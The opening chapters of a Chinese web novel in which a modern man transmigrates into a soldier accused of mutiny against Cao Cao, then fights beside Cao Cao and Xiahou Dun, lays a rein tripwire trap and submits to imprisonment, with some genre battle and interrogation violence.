《[三国]“病弱”谋士,战绩可查》
1. 穿越
不对劲。
尚在梦境中沉浮,顾至就清楚地意识到了这点。
后背的触感粗粝而坚硬,与席梦思的质感天差地别。
他在睡前分明打了26度的空调,现下却被热出了一身薄汗。
更重要的是——
顾至猛地睁眼,浓郁的夜色被若隐若现的红光点亮,草木焚烧的气味格外呛人,与不知名的浮尘一起,顺着夜风钻入鼻腔。
——又穿越了。
这是顾至的第一个想法。
——也许有什么误会,再躺一会儿看看有什么变化。
这是紧随其后的第二个念头。
于是,在短暂的坐起后,顾至双手叠在腹前,缓慢而坚定地躺了回去。
当曹操满面血尘,狼狈而阴沉地走向溪流时,看到的就是这样的一幕。
他脚步一顿,询问身旁的夏侯惇:“若我没看错,那应当也是‘叛兵’之一?”
夏侯惇同样面色晦暗,不善地往曹操所指的方向瞥了一眼,略微停顿。
“那身木甲,确实是周太守所赠。”
曹操没有再说什么。
在与夏侯惇进行短暂的对视之后,他率先提起脚步,走向那道在地上硬着的身影。
顾至在地上躺了一小会儿,重新睁开眼。
眼前的景色没有任何变化,很显然,他确实穿了,没有任何误会。
顾至发现了朝他靠近的脚步声,但他并不在意,仍然笔挺地躺着,枕着臂,遥望着火光弥散的夜幕。
“为何不走?”
就在这时,头顶上方传来低哑的男声。
那道声音本身并无特殊之处,但出口的音律略有些饶舌,像是某个山区的方言。
意外又不那么意外,顾至能听懂对方的话,甚至毫无沟通障碍地反问。
“我为何要走?”
他仿佛听到一声意味深长的冷哼,旋即,那个人再次开口。
“你不走,就不怕我杀了你?”
空气为之一静。
直到这个时候,顾至才将悠远的目光挪向一旁,看向与他说话的那人。
那人约莫三四十岁,中等身量,样貌周正,一双浓眉之下,向外吊梢的双眼藏着几分审视。
他的脸上泼溅了一大片血迹,不带表情的面容在隐隐火光的掩映下,现出几分索命般的瘆人。
借着晚风,顾至闻到了对方袖口洇着的血腥之气,稠密而浓厚。
显然,这人刚刚经历了一番恶战,杀了不止一个人。
“你为何要杀我?”顾至一动未动,半耷着眼,弯曲的指节贴着草甸,整个身体呈现出一种极为松弛的姿态,
“只因为我挡了你的去路?”
“既然不怕死,又何必在这装傻充愣?”
另一个陌生的男声兀然出现,随着兵甲摩挲的声响,一个高大的青年将军出现在前一人的身侧,自上而下地睨视,眼底蕴着褐红色的火光。
“顾什长,你策反士兵,助士卒叛逃,已然犯下死罪。你不赶紧狼狈奔逃,竟还敢留在此处——自寻死路,那便由我来送你一程。”
说罢,青年将军抽出佩剑,抬步向前。
青锋嗡鸣,杀机毕现,顾至却仍在原地躺着,只分神往青年将军的方向扫了一眼。
“不是我。”
实话实说的陈述,却无人相信。
“……”青年将军只当他在狡赖,不再多说,提剑高举。
“啊——”一声惨叫从遥远的北面传来。
脸上带血的中年男子神色一变:
“元让,走。”
青年将军的长剑一滞,停在半空。
无人看到的角落,顾至搭在草甸上的手早已收紧,在剑锋停下的那一刻,又徐徐放松了少许。
中年男子往惨叫传来的方向疾走了数步,借着空隙回头:
“带上此人。”
此人,自然指的顾至。
青年将军收起剑,从鞶囊中取出绶印,解下印上的绶带。
尽管顾至始终不曾反抗,他也一直没有放下警惕。他粗暴地将顾至的双手剪到身后,用绶带绑得严严实实。
顾至任由青年将军拎着,一路来到事发地。
还未停下脚步,青年将军就扬声喊了一句:
“孟德,小心!”
孟德……这个名字还真是有些耳熟。
顾至心不在焉地想着,侧眸望着前方的乱象。
三国赫赫有名的枭雄曹操,表字就是“孟德”。
如果这个“孟德”真的是曹操,那身后被称作“元让”的青年将军,莫非是曹魏大将,夏侯惇?
正出神间,被束缚的腕部骤然一紧。
“你们还有同党?”
顾至收回目光:
“与我无关。”
他再次实话实说。
也不知对方信了几分,接下来,顾至倒是没有再被询问。
夏侯惇将他往马背上一丢,翻身上马,提起马褡子上挂着的长/枪,冲向混乱的战局。
与曹操这一方交战的是一队装备混杂的骑兵,看不清来历,却颇为骁勇。
长刀与枪/戟交锋,乱刃飞舞。
只一个照面的功夫,双方就有十来个人被砍翻在地。
血液如泼墨般迸溅,夏侯惇刚拿下敌军一头,冷不防被对面疾速飙出的粘稠血液扎了眼。
刺痛感令他不受控制地眯起双目,可偏在这个时候,敌军的长戟已至,就要刺中他的后背。
危机之中,夏侯惇若有所感,勒马偏转。
那道长戟与他擦肩而过,划过大氅,就要扎入马臀。
千钧一发之际,忽然有一柄佩剑从斜侧方探出,借着刀锋之利,稍稍挡了长戟的攻势。
坐骑受惊,扬蹄疾驰,夏侯惇的危机顷刻而解。
夏侯惇拭去眼前的血影,勉强睁开双眼,匆促低头。
佩剑好端端地悬挂在腰侧,似乎未曾出鞘。
可就在不久前,他分明察觉到腰间一轻,随即,身后传来金属交锋的刺耳长鸣。
正是那短暂的钝响,助他躲过身后的杀意。
夏侯惇看向身前,一条人影死鱼般瘫在马背上,全然不曾变动姿势,更不像是会在危机关头拔出长剑,拦下偷袭的角色。
“你……”夏侯惇蹙眉,想要说些什么,但瞬息万变的战局由不得他分神。
他只得压下心中的惊异,再次提枪迎战。
在接下来的对阵中,夏侯惇分出少许心神,不时关注横于前方马背的那个少年。
可不管是什么时候,从哪个角度看去,对方都直挺挺地贴着马鬃,全无动弹,甚至不肯挪一个舒适的方位。
有几次,混乱的刀光戟影几乎贴着少年的头皮略过,他也没有半点动静,好似死了一般。
夏侯惇一面对敌,一面策马靠近曹操等人的所在,心中充满了问号。
他开始怀疑先前被救的一幕纯属自己的错觉,兴许是敌军在混乱中砍到了自己人的长戟也不一定。
来自后背的灼灼视线,顾至并非没有察觉。
他趴在马背上打了个哈欠,将挣脱束缚的手藏在身下。
除了夏侯惇,谁都没有发觉——方才千钧一发之际,是他抽出了夏侯惇的佩剑,短暂地阻拦长戟,又借着长戟的冲力,顺势将佩剑推回鞘中。
因为动作太快,太过隐蔽,就连劈下这一戟的将领都不曾看清,只疑惑地收回武器,不确定地掂了掂。
眼见夏侯惇即将与曹操会和,敌军加大攻势,汇成两支队伍,从东西两方包抄曹操所领的几十人。
“留下所有马匹与兵器,尚可饶你们一命。”
敌方领头之人如此说。
对这番
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劝降的话语,曹操眼皮未动,只当他在放某种浑浊难闻的气体。
见曹操如此“不识抬举”,敌军扬缰怒咤,愈加凶悍。
曹操这一方人少,但各个悍勇。
两方激战数回,难分胜负。
即使马背上再颠簸,被当麻袋横在鬃毛边的姿势再难捱,顾至也一动不动地躺尸,全当自己死了。
然而,在他耷拉着眼,昏昏欲睡的时刻,久攻不下的敌方将领忽然竖眉,朝他与夏侯惇的方向大喊:
“顾白面,你还在等什么?”
?
顾至驱散了睡意,脑门在直觉的警报下突突作疼。
顾白面?这是在说谁?
……不要是他想的那样。
“听闻在黄巾贼、黑山贼内部,贼军将领们常用彼此的特征作为名号。骑白马的叫张白骑,跑得快的叫张飞燕,眼睛瞪得像铜铃的叫李大目[1]……”
夏侯惇垂着眼,看向顾至的目光比最初还要冷,
“看你白面俊秀,想来就是贼人口中的‘顾白面’了?”
顾至:“……”
不,我不是,我没有。
“所以,这位顾白面将军,‘你还在等什么’?”
夏侯惇语带讥嘲,将方才敌军将领的话原封不动地重复了一遍。
英挺的眉眼挟着寒霜,如同片片霜刀……如果眼神能具现化,顾至的后背大概已经被扎成刺猬了。
“我不叫顾白面,我叫顾静静。”
让我一个人静静。
无人能懂他的梗,也无人能懂他的忧愁。
想起不久前的疑虑,夏侯惇握紧漆木制成的枪身,看向曹操。
曹操没有开口,兜鍪微抬,朝向敌军。
——静观其变。
夏侯惇乌眸沉沉,冷眼看着敌军首领叫嚣。
“顾白面,你究竟是怎么回事,莫非忘了你我二人之间的约定?”
顾至缓缓抬手,捂住耳。
“顾白面,你为了救郭老头,向我借了半缗钱,可欠着我不小的人情。你现在趴着装死,不顾我二人之间的约定,莫非是想出尔反尔,临阵倒戈?”
双手挡不住魔音,更挡不住四面八方各异的视线。
顾至抛下早已挣断的绶带,一手撑着马的鬐甲,纵身一跃,平稳落地。
夏侯惇于一瞬间横枪于前,警惕地盯着他的一举一动。
“你是何人,莫非是沙白目?”顾至缓缓转身,古井无波的目光投向树林东侧。
倘使他真的是顾白面,是这人的同伙——这家伙突如其来的吆喝,不仅徒劳无功,反而会让曹操这一方心生警惕。
这哪里是提醒,分明是想让他死。
如果不是另有图谋、故意为之,那这人……还真是又傻又白目。
“沙白目?”敌方首领一愣,“这是何人?”
夏侯惇冷眼看着这无趣的一幕,骤然,风声入耳,他猛然抬首。
“全军后退!”
林中有人。
敌方在故意拖延时间。
几乎在高喊落地的下一刻,十几支羽箭从林中疾射而出,射向曹军。
有几人闪躲不及,胸膛当即中箭,闷声倒下。
曹操这方的一个年轻小将红了眼,横刀而上,就要将顾至这个“细作”斩于马下。
顾至眸光一敛,急退半步,恰好与刀光错身而过。
离得最近的夏侯惇一把拦住小将:“先避箭雨,不要轻举妄动。”
他带着众人寻找掩体,没有再看顾至一眼。
方圆数丈之内顿时清空。
除了倒在地上的亡者,就只剩下顾至一人。
顾至若有所觉地抬眸,望向隐约可见弓矢的密林。
敌方首领一改拙笨白目的模样,抬戟横指前方,冷声喝道:
“先杀顾至。”
2. 合作
先杀他?
顾至觉得头痛。
穿越没好事,好事不穿越。
果不其然。
又一波箭雨袭来,顾至向后翻跃,霍然倒地。
“他中箭了!”
“一定是马三射的,一箭穿喉。”
顾至蓦然起身,咬着羽箭的木身,眼中闪过厉色。
他的手中握着刚从尸体身边摸来的长/枪,用力一蹬,弩矢般冲向敌军骑兵的所在。
“他想靠近我们,让弓箭手投鼠忌器。”敌军中,一个将领装扮的人皱眉,看向首领。
敌军首领嗤笑:“那又如何?以一人之力,对抗众多马蹄,同样是在找死。”
曹操等人同样不看好这堪称孤勇的行径,但顾至这一变数恰好为他们牵制了敌方的注意。
他示意夏侯惇带领一支小队绕道,从另一边入林,解决林中的弓箭手。
自己则带着剩下的十人,借山石的掩护,伺机而动。
顾至已冲到马阵前。
敌军策马扬鞭,疾驰而来。
三十云骑,气势汹汹,誓要将他踏成肉泥。
顾至却没有再向前。他一枪扎入不远处乌桕的树干,借力一蹬。
惊鸿游龙,三两步便攀上了七尺高的树枝。
“现在才想上树躲避?晚了。”
敌军首领傲然向前,一戟刺向顾至的腰腹。
“锵——”
枪身卡住长戟的月牙锋刃,顾至双眸染霜,翻转枪身。
首领只觉得右臂一麻,旋即,无可违逆的巨力令他的长戟脱手,狼狈地飞向半空。
瞳仁骤然猛缩,极致骇然之下,树上的那道人影已轻飘飘地落下,一枪/刺入他的胸口。
宛若一条鱼被叉入腹部,离开水面。
首领胸/前接着长/枪,被推离马背,悬在半空。
他的坐骑一无所知地继续向前奔驰。
那空悬的马背上,一道修长的身影翻身上马,取代了他的位置。
最后的意识,停留在了那人轻飘飘的回眸一瞥。
顾至毫不犹豫地甩手,收枪。
首领如毁损的篾篓,被弃置于地。
至此再无意识。
短短几息之内,首领被夺了兵器,抢了坐骑,死在长/枪之下。
首领倒在马蹄之下的那一瞬间,仍有许多士兵没有反应过来到底发生了什么。
直到顾至纵马向前,离开数十丈,敌军们才后知后觉地瞪大眼,哗然惊惧。
“这怎么可能——”
他们首领可是单挑从无败绩的悍将,怎么可能如此轻易地死在区区一枪之下。
山石后方的曹军同样惊异难定。
曹操目光灼灼地望着那道黑影,攫紧腰间的佩剑。
单枪一人,在短短两个回合内杀死敌方,本身就不是一件容易的事。
而在那一瞬间同时跳上马背,一气呵成地夺马逃亡,更是难上加难,鲜少有人能够做到。
这个顾至到底是什么人?有如此本领,何必混入丹阳太守周昕赠予他的士兵当中,甚至花费诸多心思,策反那些鱼龙混杂的兵卒?
曹操甚是不解,却不知道,他正关注的顾至与他一样困惑。
枪杀敌军头目的一瞬间,一段不属于他的记忆涌入顾至的脑中。
幸好那时候他已经夺下马匹,冲出了数丈,这才不至于因为庞大的信息流与绵延不绝的头痛,猝不及防地跌下马背。
正所谓双拳难敌四手,功夫再高也怕菜刀,他当然不会真的以卵击石,一人单挑三十多个骑兵。打从一开始,他就只打算除掉头目,抢了马就跑。
只要骑马跑了,这边的事就和他没关系了。
可就在刚刚一瞬,突然涌入脑海的记忆告诉他——现在还不能一走了之。
捋完凌乱无章的记忆,顾至捏缰绳的手一紧,面目一瞬狰狞。
麻烦。
啧。
记忆如涡旋,在名为意识的漏斗中,一股脑地注入。
这显然不是他的记忆,而是原主的。
原主也叫顾至,颍川郡阳城人,生于熹平元年。
这个世界是他曾经看过的一本三国同人小说,名为《大魏枭雄志》。一个以曹魏群像为主角,权谋与争霸并重的故事。
原主“顾至”,不过是开篇死在曹操手下的一个路人甲。
说是路人甲,倒也不尽然。在小说中,原主的哥哥顾彦曾是曹操早期极其器重的谋士。只因为中间横亘着原主的人命,顾彦中途背叛了曹操,投入袁绍等人的阵营,成为全文给曹操添堵的第一人。
至于原主为什么会被曹操杀死,这就要从刚刚的混战讲起——
初平元年,也就是公元190年,十多路诸侯征讨董卓,却在酸枣滞军不前。
曹操自己带了一路士兵,西进征讨董卓,却在荥阳惨败,败给了董卓帐下的猛将徐荣。
这场战役让曹操元气大伤,手下兵将死伤众多,只好去扬州募兵。
曹操在扬州刺史陈温和丹阳太守周昕手下拿到了“赞助费”,获得了四千多个士兵。
还没捂热,还没来得及高兴。
半路上,士兵们集体背叛,跑了。
根据《魏书》记载,曹操在半夜被人烧了营帐,气急之下,“手剑杀数十人”。
而在小说《大魏枭雄志》中,这个被杀掉的“数十人”,当中就有原主顾至。
原主是曹操募来的士兵之一,被任命为“什长”,是策反士兵的罪魁祸首。他被曹操砍下头颅,悬在城墙上以儆效尤。
却没人知道原主为什么要这么做。
顾至上辈子阅读这部小说,纯粹是为了打发时间。他在看的时候打开了听书功能,一边听,一边在中途打了好多次瞌睡。
关于剧情,他听到的不多,仅仅因为这个角色与自己同名同姓而多关注了一些。至于对方为什么要与曹操作对,策反士兵,他并不知晓。
直到刚才记忆灌入,他终于明白了原因。
张闻——即他刚刚杀死的敌军首领——用亲人作威胁,逼原主作内应,策反曹操新招募的所有士兵。
至于张闻为何要用计先将顾至除去……记忆过于零碎,尚且无法分析原因。
顾至轻勒马缰,调转马头,疾驰到曹操等人附近。
迎着众多戒备且暗藏敌意的目光,顾至停在弓箭射不到的方位,长话短说。
“先共同杀敌,再论你我恩怨,如何?”
穿越诸事,涉及因果,麻烦至极,他不能弃原主的亲人于不顾。
听了他的话,曹操用审视的目光,盯了他片刻:
“为何要与你合作?”
他先是在这龙亢城外被几千个新兵背叛,又在营地附近莫名其妙地损兵折将,只剩下亲信二十余人。
比起与敌军不死不休,他更愿意保剩余的二十几个兵将全身而退。
听出了曹
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操的言外之意,顾至轻笑:
“将军难道不想知道——设计让我策反兵士,欲取你性命的究竟是何人?”
敌在暗,曹操在明。
躲得过这次,未必防得了下次。
曹操知道没有千日防贼的道理,看向顾至的眸光愈加幽深。
“敌方人数众多,依你之见,该如何克敌?”
马蹄声渐近,敌军纵然恐惧,但更多的是惊怒。
他们在反应过来之后,立刻纵马追击,此时已经逼近曹操等人的方位。
“暂避锋芒,入峡谷,借地势反击。”
按照常理而言,敌军首领被诛,又是一击秒杀,敌方的士气应该大受打击,甚至所有人原地溃散。
这支敌军的反应却与之相反,不仅没有退缩,反而因为首领被诛而呈现出复仇之势。可见,这支军队的凝聚力异于常人。
既然如此,在这个时候拼杀显然是不明智的做法,只会助长敌方的士气。
曹操稍作考虑,便想通了这个关节。
他深深地看了顾至一眼,带领十余个士兵冲向峡谷。
峡谷道窄,只容一骑通过。
曹操的骑兵占据先机,先一步排成一列,闯入山谷。
敌军裨将看到这一幕,神色变幻。
“将军,若曹操守在峡谷的尽头埋伏……”
峡谷地狭,骑兵难以施展,更难以接应。
如果傻傻地跟进去,只会被瓮中捉鳖,成为那倒霉而愚蠢的元鱼。
“定是顾至这小子搞的鬼。主公说得对,此子留不得,早就该杀了他。”
若是早早地杀了他,张将军也不会死在他的枪下。
裨将神色明灭,最终与一众骑兵停在峡谷之外。
“入林,假意去袭击夏侯惇的那支部曲,实则绕到峡谷另一边——”
用夏侯惇那边的战事当幌子,既能扰乱曹操的心神,又可趁机不备,发动偷袭。
曹操与顾至从没有来过龙亢,不可能了解这个地方的地势。
当曹操与顾至瞧见自己这方往弓箭队的方向走,只会以为他们已经放弃入谷,去援助另一边,绝不会想到他们会从另外一侧出现,来一个反埋伏。
在峡谷出口守着的士兵久久看不到敌军入谷,又见他们调转方向,直入东边的树林,不由焦急地跺脚:
“不好,他们该不会去围杀夏侯将军——”
曹操微不可查地蹙眉,转向顾至:“你怎么看?”
“杀意正浓,如何会退缩?这不过是障眼法——”
顾至笃然道,
“或许,那边有一处山路可以绕过峡谷,直达我们的背后。”
曹操深以为然,示意剩下的士兵分成两队,藏在两边的山体间,只留了两人在原地把守,探查山谷外的动静。
“依你之见,我们应当如何破敌?”
顾至看似随意地扫视四方,实则在寻找山路痕迹:
“以逸待劳,等敌方来捉我们。”
曹操又问:“四面皆山脉,如何知晓敌方会从哪个方向袭来?”
顾至随口回答:
“无需知晓,将军只需要备好一件物什。”
“什么物什?”
“绊马索。”
曹操一怔,看向葳蕤的丛莽:“可是我军并未携带绊马索……”
“无妨。”
顾至转过身,指向曹操的身后,
“将军且看。”
3. 求你
曹操身后,身为坐骑的马儿正嚼着草,从嘴缝两边疯狂掉落残渣。
看了半晌,曹操将目光转向马嚼上的缰绳。
半刻钟后,敌军裨将带着士兵来到峡谷的另一侧。
水流潺潺作响,峡谷尽头并未看到曹操的军队,只有两个士兵守着峡谷,另有两匹战马在溪边啃草。
躲在掩体后方的敌军面面相觑,裨将的浓眉团成一坨,心情绝对算不上美妙。
“莫非曹操他们跑了?”
不应该啊,曹操他们不了解地形,且夏侯惇那支队伍还在林中,曹操不应该在这时候离开才对。
何况,就算曹操不打算管夏侯惇的死活,短短半刻钟的时间,也不可能跑得无影无踪,更不必留下两个人继续望风。
要知道,他们可是从离开峡谷的那条必经之路来的,即使曹操真的不管夏侯惇那支队伍,第一时间选择了逃跑,他们也该在半路上撞面才是。
裨将认定曹操等人一定是藏起来了,派遣斥候去附近查探情况。
五个士兵下马,悄无声息地钻入草丛,往不同的方向潜行。
倏然,往西部走的斥候停了下来,疾速折返。
他跑到裨将跟前汇报:
“将军,曹军正在芦苇地旁布置陷阱。”
裨将的眉眼缓缓舒展开:
“他们果然躲了起来,妄图埋伏。”
又问斥候,“陷阱布置得如何?顾至那小子也在?”
“只挖了三处,其余士兵还在动土。”
斥候顿了顿,似在斟酌用词,
“顾至离曹军有一段距离,虽然也在芦苇地,但并未挨在一处。”
挖了三处?
裨将挑眉。
算一算时间,半刻钟也只够他们做到这个程度。
“顾至给曹操送了这么一份大礼,能短暂冰释已是不易,自然不会与曹军粘在一处。”
裨将不由露出讥笑。
“曹操倒是好心思,竟然能猜到我们会绕道偷袭。只可惜,他到底还是棋差一招,没想到我们竟然连一刻钟的时间都不用,就绕到了他们的背后。”
说完,裨将收起嘴角的笑意,满脸尽是残酷之色,
“全员听令,悄悄靠近曹军。待我一声令下,所有人驱马疾奔,强杀曹操与顾至!”
“是!”
为了避免打草惊蛇,裨将让众人下马,牵着马靠近那一片芦苇地。
等看到曹军众人的身影,裨将选了一处杂草丰茂的地方停下,仔细观察了片刻,发现曹军确实在挖地。
与曹军间隔的这段距离,正是芦苇地的边界。
水边的浅洼长着芦苇,随风摇荡,飒飒作响。
“芦苇招展,水下不可能挖有陷马坑。一会儿我们就从这块芦苇地走,从背后杀他们个措手不及。”
至于其他陷阱……曹操行军哪会带什么陷阱之物?也就只能像现在这样,在远处浅水中挖几个大坑罢了。
仿佛已经预见了曹操与顾至的死亡,裨将按捺着破敌的兴奋,无声地比了个手势,示意众人上马。
马蹄声骤起。
云骑踏过砂土,蹚过浅浅的水流,来到那片茂盛的芦苇地。
眨眼之间,他们与曹军的距离缩短了一大半,剩下的不足二十丈。
挖土坑的曹军听到动静,纷纷抬头,见到云骑,纷纷露出惊恐之色。
眼看胜券在握,裨将心中畅快不已。
他举目远眺,不经意间看到远处的顾至。
顾至背靠着骏马,漫不经意地望着他所在的方位,倏然,唇角上翘,露出一个近似于看好戏的笑意。
裨将心中一突,下意识地想要减缓马速,却见最前方的几个骑兵忽然连人带马地向前跌落,狼狈地栽入芦苇地。
不好——
“勒马!”
裨将高声大喊,心惊胆裂。
这道命令终究迟了一步。
高速驰骋的战马无法立刻停下,即使后方的士兵反应极快,第一时刻勒马,也还是阻止不了横冲直撞的惯性。
短短数息,骑兵与战马接二连三地倒下,摔入浅滩,一身重伤。
直到摔入芦苇地,钝痛伴着溅起的水流包裹全身,裨将脑中才出现一个令他战栗困惑的词。
——绊马索。
在这芦苇之间,浅洼之内,竟然藏着绊马索。
不可能。
剧烈的疼痛随着不可置信放大。
裨将蜷着身,一遍又一遍地否认——
曹操外出征兵,怎么可能随身携带绊马索?
这如何可能?
周遭寂静得可怕,只有几声低哑无力的痛呼在告诉他——除了他以外,尚有少数几人幸存。
来自肩背与髌骨的剧痛如同刀凿,裨将忍住绵延不绝的痛楚,想要起身,却怎么也无法动弹。
顿时,他的面色变得极为惨淡。
以那个速度从马上栽落,还活着就已经是极大的幸运。他身上的筋骨必然摔断了好几处,又怎么奢望自己能够爬起来,甚至拔戟迎敌?
裨将颓丧地趴在芦苇地中,浅洼的水没过他的下巴,随着微风摆荡,一丝丝涌入他的口中。
带着野草气息的苦味弥漫舌尖,裨将忽然听到了流动的水声与踏水的哗响。
勉强抬头,只能看到战马的四蹄停在他的身前。
是谁?
来的人是曹操,还是曹操的马前卒,又或者……是那个尚未及冠,却屡次出人意料的顾至?
水流声停,一双褐色行缠出现在他的眼前,有人站在了他的前方。
“陶将军,我阿兄在何处?”
是顾至——
裨将挣扎着抬头,用唯一完好的左臂撑着泥地,试图起身。
可是,无论他试过多少次,最终都已失败告终。他狼狈地跌回浅洼,泥水与芦苇的细枝糊了一脸,刺得眼痛。
“陶将军,若你不想继续受罪,就将我阿兄的下落如数告知。”
顾至蹲下/身,托着裨将麻木的右臂,替他拭去面上的污垢,
“我与将军并无旧怨,将军何故与我为难?”
他的行止柔和而恳切,言辞间尽是诚挚商榷之意。
裨将怔忪了一瞬,皱眉冷嗤:
“顾至,少来这一套。既然犯在了你的手里,我陶囷认栽。只是,你也休想得到顾彦的任何消息——”
突然,搭在他右臂关节处的手猛然收紧,一股无法承受的剧痛从肘部直冲大脑,几乎让他眼前一黑。
不过一个呼吸的功夫,他的全身就爬满了冷汗,甚至无法掌控呼吸的节奏。
这种痛楚,远比疾速坠马,摔断骨头还要痛一万倍,痛得他连一丝声响都无法发出,只瞪着欲裂的眼,徒劳地张着口,无声地抽搐了数下。
“陶将军,这个消息对我而言极为重要,”
顾至垂眸望着他,按在他关节处的手如恶魔一般寸寸扣入,分筋错骨,语气却仍然温顺柔软,仿佛在向他求助。
“求你,告知于我。”
短短几句话,裨将却仿佛经历了一世的痛苦。
他无法发出声,甚至无法晕厥,只能徒劳无援地承受全身尖锐的战栗。
他甚至来不及生出恐惧,这一瞬间,他只想彻底解脱。
也许只是瞬息,也许隔了一世。
顾至终于松开了他的手,托住他塌软的肩膀。
“陶将军,我阿兄到底在何处。”
裨将双目难以调整焦距,他的舌头打颤,哆嗦着,近乎恍惚地张口。
“他……他确实曾经落入主公的手中。但他已经用计离开……”
顾至轻轻松开他的手,再次替他拂去面上的污垢:
“也就是说,你们利用顾彦的假消息——哄骗‘我’,让‘我’为你们出力,策反曹操帐下的新士兵?”
因为无法兑现承诺,所以干脆斩草除根,故意说出“顾白面”这个称呼,让曹操他们
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误解,借刀杀人?
裨将颓靡地点头:“这是张将军的主意。他已被你诛杀,我……只求一个痛快。”
“你不用担心。即使我不杀你,曹操也不会放过你。”
顾至不带任何情绪地凝视对方,
“何况,你伤势严重,已经活不了了。”
像是在陈述一个平平无奇的事实,顾至客观地给出结论,徐徐起身。
天光垂落,在长睫下投映漆黑的剪影。
另一个“顾至”因为这些人而无端殒命,确实可惜。
他遗憾地想着,走向另一个坠马的敌兵。
迎着莫名惊惧的目光,他弯下腰,微笑着,为对方摘下头顶的一片枯叶。
“陶将军方才所说的——是真的吗?”
……
曹操远远地看着这一幕。
顾至接连在几个敌军之间穿梭,似在询问什么。
由于先前和顾至达成了共识,曹操准允顾至单独询问,让自己的士兵避开一段距离,不加干涉。
毕竟,“用众多马缰连成绊马索,借着芦苇地的掩护,绊倒敌军”是顾至提出的计策,既然助他兵不血刃地解决隐患,他怎么也得给这么一份脸面。
当然,妥协归妥协,曹操并不是一点防备都无。
他询问身边精通唇语的士兵。
“他们说了些什么?”
“顾什长一直背对着我,我看不清。”
士兵紧紧盯着前方,
“敌方裨将说,‘他确实曾经落入主公的手中,这是张将军的主意。我只求个痛快。’旁边那个士卒说‘陶将军所言,句句属实’。”
“他”……?
“他”是谁?“主公”又是谁?
曹操表情变幻,盯着那个始终背对着他的身影:
“……不对,按照这些人躺下的位置,顾至要和他们面对面地说话,总会转换方向,不可能一直背对着我们,除非——他是故意的。”
顾至故意背对着他们,不让他们看到正脸。
“难道他知道我们这有人精通唇语?又或者……”
只是无意识地防备?
曹操眼中的探究之意越发浓烈。
这个顾至,看上去不过十六七岁,竟有如此缜密的心思?
“孟德!”
一声呼喊唤回他的思绪。
曹操举目远眺,见到了携兵而来的夏侯惇。
黑氅翻滚,血气腾腾。
刚经历过一场激战的夏侯惇浑身冒着杀气,锋不可当。
他指着芦苇边躺了一地的人马,又指了指顾至:“这是?”
曹操把刚才发生的事从头到尾地讲了一遍,着重强调了顾至的机变能力。
“起初,我只当他少年鲁莽,颇有几分项籍的勇猛。如今看来,倒是我小瞧了他。”
夏侯惇甩去枪上的血,将枪收进马褡子:
“将军若有意,何不招揽之?”
他看向顾至,想到接连两次难以捉摸的克敌之法,低声提醒,
“千军易得,一将难求。”
被策反的那数千个新兵,固然可惜。可若是在见识过枭将的本领后,又放任他自行离去,那更让人扼腕——后悔得连晚饭都吃不下。
曹操摇头:“此人赫赫不凡,未必肯听你我号令。”
因为敌军已被处置,解决了一桩危机,夏侯惇此刻也有了玩笑的心思:
“那不如我们把他抓走,让他赔我们五千个士兵。”
此刻,把所有敌军都“友好问候”了一遍的顾至徐徐走近二人,正好听到夏侯惇的那句玩笑之言。
他思索了片刻,走到夏侯惇身前,微抬双手,做出类似于端菜的动作。
夏侯惇:“?”
顾至神色认真:“把我抓起来吧,夏侯将军。”
夏侯惇:“……???”
顾至补充:“让我坐个牢。”
夏侯惇:………………你来真的?
4. 阶下囚
曹操仔细辨认顾至的神色。
眉眼清平,不似戏言。
出于谨慎,曹操还是多说了一句:“你有歼敌的功劳,足以抵消你的过错。若是现在一走了之,我不拦你。”
顾至微低下头,看向面前的中年将军:“一事归一事。死罪可免,牢狱之灾难逃。”
夏侯惇上前一步,不动声色地站在曹操前方半尺远的位置,锐利的眼神似乎能刺穿一切伪装:
“你有什么意图?”
“意图?”
顾至恍然大悟,将背在身后的长枪取下,随手丢掷在一旁,
“现在可以相信了?你要问我有什么意图——如果可以,牢里请按时给饭,谢谢。”
夏侯惇:……
此时,士兵恰好解完“绊马索”,带着一捆马缰走来。
曹操拣了一根最结实的,亲自给顾至捆上。
顾至一动不动地任他捆缚,直到被转交给一小队士兵看管,他都安静和顺,没有一丝反抗的意图。
这副模样,和当初他被夏侯惇捆手拎着的时候何曾相似。
夏侯惇的眼角不由一跳,大步向前,与曹操并肩。
“区区马缰,怕是困不住他。”
他的官印绶带都被轻易挣成碎片,马缰虽然韧一些,却也难保不会惨遭毒手,步上后尘。
曹操没有偏头,直勾勾地望着前方晕染光华的暮景。
“他若是想走,何必等到现在。”
“但是……”
曹操放缓步伐,略滞后半步,抬手拍了拍夏侯惇的肩:“如果他真的要走,那就让他走。”
“……”夏侯惇吐出一口郁气,“这些贼兵的事——你不问上一问?”
“不急,先问问他们。”
曹操这么说着。等士兵们收拾好战场,将幸存的几个俘虏带到他的面前,他让亲信逐一审问。
当得知这些人都是陶谦的部曲时,曹操若有所思。
再问及这些人与顾至的关系,却见他们反应怪异,甚至掺着少许惊惧。
一个卫兵感慨:“想来是顾什长一枪杀敌的勇猛与诱敌深入的计策太过惊人,竟叫他们吓破了胆。”
兵士大多有慕强之心,听到士兵的感慨,或明或暗地表示赞同。
只有曹操与夏侯惇二人,心中生起浓重的疑虑,但碍于种种原因,暂时没有表露出来。
短暂休整过后,曹操带领士兵上路,向西北挺进,本着就近原则,到建平县重新招兵。
途经自己的家乡谯县,曹操找县丞要了一辆槛车,让顾至乘坐。
所谓的槛车,就是用长木条分隔的牢车,下面是车轮与车板,由马拉着,方便运输。
汉末还没有发明木枷之类限制犯人手脚的刑具,顾至只需要坐在槛车之内,并不需要捆缚手脚。
对他来说算是一件好事。
至于坐在押送囚犯的槛车内,被马队带着过街,遭受民众异样的目光——换作别人,也许会觉得这是一场难以忍受的酷刑,但对顾至而言,这些目光洗礼等同于不存在,甚至没有拂面的微风有存在感。
槛车一旁,夏侯惇瞧见顾至一副昏昏欲睡的模样,无言地扯了扯马缰,离他远了一些。
曹操察觉到旁侧的动静,看向与他并驾的夏侯惇:“怎么了?”
“这人的行止太过反常,我参不透。”
见夏侯惇眉峰紧皱,一副不得劲的模样,曹操笑着牵动手中的缰绳。
“人生在世,诡奇之事甚多,何须参透。”
夏侯惇摇了摇头,不再说话。
马队一路西行,跨过沛国,来到陈留。
起初,骑兵们看似闲暇,实则警觉地巡视四周。他们保持着警戒,精力充沛而留有余力。
然而,在长途跋涉过后,他们的腿根因为长时间的颠簸,开始出现不同程度的疼痛。
烈日炎炎,汗水渗在磨破的皮肤上,传来阵阵尖锐的疼痛。
新招来的步兵们也不好受。他们一路跟着骑兵疾行,行缠被树枝划破,脚底挨着粗糙的葛屦,被磨出了泡。
